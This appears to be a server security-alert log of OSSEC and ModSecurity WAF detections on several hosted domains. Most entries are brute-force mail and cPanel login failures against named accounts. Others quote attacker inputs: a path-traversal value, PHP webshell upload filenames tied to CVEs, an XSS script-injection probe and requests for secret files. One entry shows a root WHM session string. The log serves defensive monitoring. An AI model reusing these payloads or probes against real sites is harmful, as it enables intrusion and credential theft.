plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.130.91.83
country_id: 1269750
description:
2026-07-20 10:31:24 dovecot_login authenticator failed for H=([213.33.182.183]) [103.130.91.83]:35888: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.207.248.138
country_id: 2328926
description:
2026-07-20 10:31:33 dovecot_login authenticator failed for H=([218.93.229.230]) [41.207.248.138]:43350: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.23.230
country_id: 1668284
description:
2026-07-20 10:38:04 dovecot_login authenticator failed for H=111-70-23-230.emome-ip.hinet.net ([117.23.27.54]) [111.70.23.230]:60509: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.151.45
country_id: 1733045
description:
2026-07-20 10:38:39 dovecot_login authenticator failed for H=([65.20.250.180]) [49.124.151.45]:48058: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.15.82.135
country_id: 798544
description:
2026-07-20 10:39:13 dovecot_login authenticator failed for H=(134396.ip-ptr.tech) [185.15.82.135]:57272: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.185.44.206
country_id: 1269750
description:
2026-07-20 10:39:29 dovecot_login authenticator failed for H=([117.79.226.9]) [122.185.44.206]:52079: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 140.130.98.240
country_id: 1668284
description:
2026-07-20 10:40:07 dovecot_login authenticator failed for H=([121.178.185.141]) [140.130.98.240]:57003: 535 Incorrect authentication data (set_id=uaeindiab2b@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 80.223.198.246
country_id: 660013
description:
2026-07-20 10:40:24 dovecot_login authenticator failed for H=dsl-hkibng42-50dfc6-246.dhcp.inet.fi ([128.185.253.122]) [80.223.198.246]:50070: 535 Incorrect authentication data (set_id=uaeindiab2b)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 187.77.185.125
country_id: 1269750
domain: metrodigitals.com
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/145.0.7632.6 Safari/537.36||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 119.155.251.60
country_id: 1168579
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/ed3564814 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 45.148.10.62
country_id: 2750405
domain: futuracare.com.au
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/.env.backup||User:futuracarecom||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 192.46.221.91
country_id: 2077456
description:
[2026-07-20 10:52:25 +0530] info [whostmgrd] 192.46.221.91 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.112.174
country_id: 1269750
description:
2026-07-20 10:53:59 dovecot_login authenticator failed for H=([112.27.38.203]) [182.78.112.174]:44826: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.34
country_id: 1668284
description:
2026-07-20 10:54:27 dovecot_login authenticator failed for H=([70.166.167.49]) [101.13.5.34]:37898: 535 Incorrect authentication data (set_id=jianan)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 192.186.151.167
country_id: 6252001
domain: www.fefkadirectorsunion.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:192.186.151.167||TA:192.186.151.167||


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 73.47.155.125
country_id: 6252001
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Opera/9.80 <a href=\"http://Www.Shcommodities.com/\">PVACodes account verification</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.148.194
country_id: 99237
description:
2026-07-20 10:56:04 dovecot_plain authenticator failed for H=(unchaming) [65.20.148.194]:53802: 535 Incorrect authentication data (set_id=admin@ddgalaxy.in)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 76.14.62.108
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/512334925 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 85.29.246.199
country_id: 453733
description:
2026-07-20 11:00:47 dovecot_login authenticator failed for H=199-246-29-85.dyn.estpak.ee (232.subnet-213.matrixglobal.net.id) [85.29.246.199]:59327: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.53.106.124
country_id: 1694008
description:
2026-07-20 11:01:07 dovecot_login authenticator failed for H=([155.0.28.6]) [122.53.106.124]:49528: 535 Incorrect authentication data (set_id=website)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.189.141.203
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/52287946 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.198.224.5
country_id: 6252001
description:
[2026-07-20 11:03:46 +0530] info [whostmgrd] 45.198.224.5 - root "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 131.161.184.46
country_id: 3865483
description:
2026-07-20 11:04:55 dovecot_login authenticator failed for H=([179.255.244.206]) [131.161.184.46]:56264: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.5.63
country_id: 1668284
description:
2026-07-20 11:05:32 dovecot_login authenticator failed for H=([78.37.9.103]) [101.13.5.63]:54668: 535 Incorrect authentication data (set_id=corporate)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.108.109
country_id: 1269750
description:
2026-07-20 11:06:34 dovecot_login authenticator failed for H=([27.123.94.66]) [183.82.108.109]:55970: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 197.90.131.158
country_id: 953987
description:
2026-07-20 11:06:51 dovecot_login authenticator failed for H=([59.11.0.20]) [197.90.131.158]:56176: 535 Incorrect authentication data (set_id=shokria)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 35.230.154.23
country_id: 2635167
domain: sriganapathyent.in
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/rclone.conf||User:vrishenterprises||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 100.15.17.37
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/762316954 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 68.202.138.59
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/763686416 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77789665
abuser: 152.42.242.202
country_id: 1880251
domain: cochinbigbandshow.com
description:
IM360 WAF: Authenticated (Contributor+) LFI Vulnerability in Download Monitor <= 5.0.22 WordPress plugin (CVE-2025-47439)||MVN:ARGS:data[layoutName]||MV:../../../../tmp_1784526247_464595.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77469916
abuser: 152.42.242.202
country_id: 1880251
domain: cochinbigbandshow.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:shxt_1784526253_smxqe.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.198.191.180
country_id: 1835841
description:
2026-07-20 11:13:50 dovecot_login authenticator failed for H=([121.131.220.142]) [119.198.191.180]:52551: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 202.153.46.43
country_id: 1269750
description:
2026-07-20 11:14:02 dovecot_login authenticator failed for H=(201-15-149-254.pltce300.ipd.brasiltelecom.net.br) [202.153.46.43]:47532: 535 Incorrect authentication data (set_id=shokria)


plugin: modsec
rule: 77469916
abuser: 185.213.83.84
country_id: 1643084
domain: alnayza.com
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:pek41940.xml.php||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.173.21.44
country_id: 1880251
description:
2026-07-20 11:19:59 dovecot_login authenticator failed for H=([103.176.255.195]) [165.173.21.44]:56126: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: modsec
rule: 77350457
name: IM360 WAF: Bad file extension
abuser: 34.97.178.7
country_id: 1861060
domain: www.globalgroupoman.com
description:
IM360 WAF: Bad file extension||RSV:8.32||T:APACHE||MVN:REQUEST_FILENAME||MV:/rclone.conf||User:globalgroupoman||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.67.161.64
country_id: 2661886
description:
2026-07-20 11:20:48 dovecot_login authenticator failed for H=78-67-161-64-no2550.tbcn.telia.com ([185.138.167.146]) [78.67.161.64]:39582: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.72.9.151
country_id: 1269750
description:
2026-07-20 11:20:22 dovecot_login authenticator failed for H=([41.220.3.113]) [116.72.9.151]:54336: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 162.251.93.214
country_id: 6252001
description:
2026-07-20 11:20:42 dovecot_login authenticator failed for H=([187.9.84.33]) [162.251.93.214]:39890: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 206.62.136.109
country_id: 3686110
description:
2026-07-20 11:21:54 dovecot_login authenticator failed for H=([14.23.77.27]) [206.62.136.109]:40520: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 47.223.212.176
country_id: 6252001
description:
2026-07-20 11:22:40 dovecot_login authenticator failed for H=([116.38.54.26]) [47.223.212.176]:55058: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.104.166.110
country_id: 1835841
description:
2026-07-20 11:23:11 dovecot_login authenticator failed for H=(dsl-tn-150.92.246.61.airtelbroadband.in) [211.104.166.110]:44010: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.116.66
country_id: 1269750
description:
2026-07-20 11:22:22 dovecot_login authenticator failed for H=([72.207.109.1]) [182.95.116.66]:34624: 535 Incorrect authentication data (set_id=jianan)


plugin: ossec
rule: 11009
name: WHM login success
abuser: 223.181.11.181
country_id: 1269750
description:
[2026-07-20 11:27:08 +0530] info [whostmgrd] 223.181.11.181 NEW root:wq6EGjCWCf52JW8D address=223.181.11.181,app=whostmgrd,creator=root,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 172.56.29.246
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/b83224846 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 51.148.135.85
country_id: 2635167
description:
2026-07-20 11:30:09 dovecot_login authenticator failed for H=(red.138.118.213.068.ssservicios.com.ar) [51.148.135.85]:56424: 535 Incorrect authentication data (set_id=cil@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 183.82.56.12
country_id: 1269750
description:
2026-07-20 11:30:57 dovecot_login authenticator failed for H=([220.94.163.193]) [183.82.56.12]:54507: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: modsec
rule: 77210831
name: IM360 WAF: Rogue web site crawler
abuser: 31.223.75.172
country_id: 298795
domain: globalgroupoman.com
description:
IM360 WAF: Rogue web site crawler||MVN:REQUEST_HEADERS:User-Agent||MV:Mozilla/5.0 <a href=\"https://www.symbaloo.com/mix/1v1-lol-unblocked?lang=EN\">1v1.lol</a> (Windows NT 5.1; U; en) Presto/2.10.229 Version/11.60||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 68.10.127.82
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/582124474 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.5.209.187
country_id: 192950
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/5f2755476 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 82.119.203.121
country_id: 1605651
domain: ddgalaxy.in
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.32||T:APACHE||RA:82.119.203.121||TA:82.119.203.121||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.20.205.197
country_id: 99237
description:
2026-07-20 11:37:46 dovecot_plain authenticator failed for H=(cones) [65.20.205.197]:48896: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: modsec
rule: 77350026
name: IM360 WAF: Track suspicious Spring Framework requests
abuser: 2401:4900:8fdd:80b0:8588:f400:b5ad:1a7e
country_id: 1269750
domain: futuracare.com.au
description:
IM360 WAF: Track suspicious Spring Framework requests||RSV:8.32||T:APACHE||MVN:ARGS:jform[defaultvalue][f_radio_attribute_class]||MV: inputbox visCSSbot5 ||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 5.11.143.72
country_id: 298795
description:
2026-07-20 11:37:41 dovecot_plain authenticator failed for H=(hompay) [5.11.143.72]:50762: 535 Incorrect authentication data (set_id=jijo@ddgalaxy.in)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 112.120.115.152
country_id: 1819730
description:
2026-07-20 11:39:05 dovecot_login authenticator failed for H=n112120115152.netvigator.com ([192.81.229.181]) [112.120.115.152]:38934: 535 Incorrect authentication data (set_id=corporate@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 135.125.199.17
country_id: 3017382
description:
2026-07-20 11:38:16 dovecot_login authenticator failed for H=vps-36f1e8f3.vps.ovh.net ([68.71.240.212]) [135.125.199.17]:35284: 535 Incorrect authentication data (set_id=investmentmanager@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 131.106.180.38
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/601075614 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 65.73.230.102
country_id: 6252001
description:
2026-07-20 11:38:47 dovecot_login authenticator failed for H=([59.6.72.106]) [65.73.230.102]:40596: 535 Incorrect authentication data (set_id=investmentmanager)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 188.126.240.16
country_id: 2661886
description:
2026-07-20 11:39:17 dovecot_login authenticator failed for H=([115.248.4.85]) [188.126.240.16]:58898: 535 Incorrect authentication data (set_id=corporate)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 20.151.105.107
country_id: 6251999
domain: idealloanz.com.au
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:8.32||T:APACHE||MV:/wp-content/uploads/admin.php||SC:/home/idealloanzcom/public_html/wp-content||


plugin: modsec
rule: 77469916
abuser: 152.42.250.144
country_id: 1880251
domain: 103.185.74.189
description:
IM360 WAF: Unauthenticated editor-profile/file upload in Joomla Content Editor JCE before 2.9.99.5 (CVE-2026-48907)||MVN:FILES:profile_file||MV:jceros358ea.xml.php||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 69.250.130.79
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/81457503 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 83.255.209.245
country_id: 2661886
description:
2026-07-20 11:44:37 dovecot_login authenticator failed for H=c83-255-209-245.bredband.tele2.se ([149.54.62.2]) [83.255.209.245]:49616: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-20 11:45:04 dovecot_login authenticator failed for H=([49.124.152.218]) [102.210.148.41]:52416: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.176.160.146
country_id: 1269750
description:
2026-07-20 11:45:40 dovecot_login authenticator failed for H=([122.184.107.57]) [103.176.160.146]:35158: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 163.245.187.130
country_id: 6252001
description:
2026-07-20 11:45:20 dovecot_login authenticator failed for H=(pool-31-207-206-77.is74.ru) [163.245.187.130]:35182: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 108.45.60.150
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/983254899 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.152.102.54
country_id: 1168579
description:
2026-07-20 11:48:58 dovecot_login authenticator failed for H=(www01.irishtitan.ul.zerolag.com) [119.152.102.54]:48331: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.148.190
country_id: 1733045
description:
2026-07-20 11:49:15 dovecot_login authenticator failed for H=(net-85-173-96-230.kbrnet.ru) [49.124.148.190]:54070: 535 Incorrect authentication data (set_id=jianan)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.146.218.48
country_id: 1282988
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/9c2855807 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.59.226
country_id: 337996
description:
2026-07-20 11:51:54 dovecot_login authenticator failed for H=([125.130.102.172]) [196.189.59.226]:43635: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.177.204.4
country_id: 1269750
description:
2026-07-20 11:52:08 dovecot_login authenticator failed for H=(119.92.76.213.static.pldt.net) [103.177.204.4]:60292: 535 Incorrect authentication data (set_id=shokria)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 217.150.80.110
country_id: 272103
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/9c3035750 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.230.80.221
country_id: 1512440
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/9f2557697 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 24.94.182.5
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/b03453224 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77316742
name: IM360 WAF: Generic XSS exploitation attempt
abuser: 202.181.25.161
country_id: 1819730
domain: alnayza.com
description:
IM360 WAF: Generic XSS exploitation attempt||RSV:8.32||T:APACHE||MVN:ARGS:settings[customclass]||MV:\"><script src=\"//127.0.0.1:65535/xss-probe-helix||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 102.213.49.140
country_id: 192950
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/f7948636 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 172.59.190.16
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/f91077734 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 68.37.151.114
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/032566039 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.235.225.112
country_id: 2077456
description:
2026-07-20 12:21:17 dovecot_login authenticator failed for H=([155.212.17.174]) [220.235.225.112]:45757: 535 Incorrect authentication data (set_id=nirmal@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.62.74.41
country_id: 1527747
description:
2026-07-20 12:21:20 dovecot_login authenticator failed for H=([68.71.249.154]) [92.62.74.41]:56694: 535 Incorrect authentication data (set_id=prasad.k@ibmcglobal.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 172.56.170.158
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/201946420 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.101.182
country_id: 1269750
description:
2026-07-20 12:21:23 dovecot_login authenticator failed for H=([98.182.171.163]) [182.95.101.182]:48380: 535 Incorrect authentication data (set_id=jianan@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.211.15.93
country_id: 1269750
description:
2026-07-20 12:21:28 dovecot_login authenticator failed for H=([58.37.196.39]) [117.211.15.93]:53984: 535 Incorrect authentication data (set_id=prasad.k)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 185.161.38.22
country_id: 130758
description:
2026-07-20 12:21:30 dovecot_login authenticator failed for H=([184.151.85.100]) [185.161.38.22]:47996: 535 Incorrect authentication data (set_id=nirmal)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.240.107.211
country_id: 2077456
description:
2026-07-20 12:22:13 dovecot_login authenticator failed for H=([114.98.63.18]) [220.240.107.211]:41960: 535 Incorrect authentication data (set_id=evin.joseph@ibmcglobal.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 166.169.210.84
country_id: 6252001
description:
2026-07-20 12:22:54 dovecot_login authenticator failed for H=([182.95.217.202]) [166.169.210.84]:50145: 535 Incorrect authentication data (set_id=website)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.95.230.74
country_id: 1269750
description:
2026-07-20 12:22:21 dovecot_login authenticator failed for H=(125-209-150-242.tpgi.com.au) [182.95.230.74]:57134: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.249.76.219
country_id: 1269750
description:
2026-07-20 12:22:36 dovecot_login authenticator failed for H=([216.181.152.173]) [49.249.76.219]:51988: 535 Incorrect authentication data (set_id=evin.joseph)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 153.66.173.210
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/203725483 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 74.195.53.129
country_id: 6252001
description:
2026-07-20 12:25:17 dovecot_login authenticator failed for H=(179-189-85-66.goldnettelecom.com.br) [74.195.53.129]:39128: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.210.148.41
country_id: 953987
description:
2026-07-20 12:25:47 dovecot_login authenticator failed for H=([61.150.93.9]) [102.210.148.41]:32866: 535 Incorrect authentication data (set_id=website)


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 3.219.86.171
country_id: 6252001
domain: www.apkmetal.in
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.6778.85 Safari/537.36||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.76.198.120
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/462136490 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 138.118.215.192
country_id: 3865483
description:
2026-07-20 12:27:44 dovecot_login authenticator failed for H=([91.143.161.208]) [138.118.215.192]:44320: 535 Incorrect authentication data (set_id=shokria@idealloanz.com.au)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 162.251.93.214
country_id: 6252001
description:
2026-07-20 12:28:07 dovecot_login authenticator failed for H=([174.75.211.198]) [162.251.93.214]:40918: 535 Incorrect authentication data (set_id=shokria)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 24.151.170.237
country_id: 6252001
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/50540612 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 197.49.71.244
country_id: 357994
domain: keralapeople.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/keralapeople.com/detail/5b3361121 HTTP/1.1||RSV:8.32||T:APACHE||


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 5.9.50.77
country_id: 2921044
domain: arcrealtors.com.au
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/146.0.0.0 Safari/537.36||RSV:8.32||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.32.10
country_id: 1668284
description:
2026-07-20 12:36:00 dovecot_login authenticator failed for H=111-70-32-10.emome-ip.hinet.net ([72.37.216.65]) [111.70.32.10]:46631: 535 Incorrect authentication data (set_id=sunil)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 27.72.46.152
country_id: 1562822
description:
2026-07-20 12:35:16 dovecot_login authenticator failed for H=(abts-mum-static-253.100.170.122.airtelbroadband.in) [27.72.46.152]:47293: 535 Incorrect authentication data (set_id=sunil@globalgroupoman.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.246.177.69
country_id: 1835841
description:
2026-07-20 12:36:53 dovecot_login authenticator failed for H=([112.196.103.235]) [211.246.177.69]:41069: 535 Incorrect authentication data (set_id=website@cochinbigbandshow.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.78.65.154
country_id: 1269750
description:
2026-07-20 12:37:13 dovecot_login authenticator failed for H=(buenosnet.static.gvt.net.br) [182.78.65.154]:50306: 535 Incorrect authentication data (set_id=website)


plugin: modsec
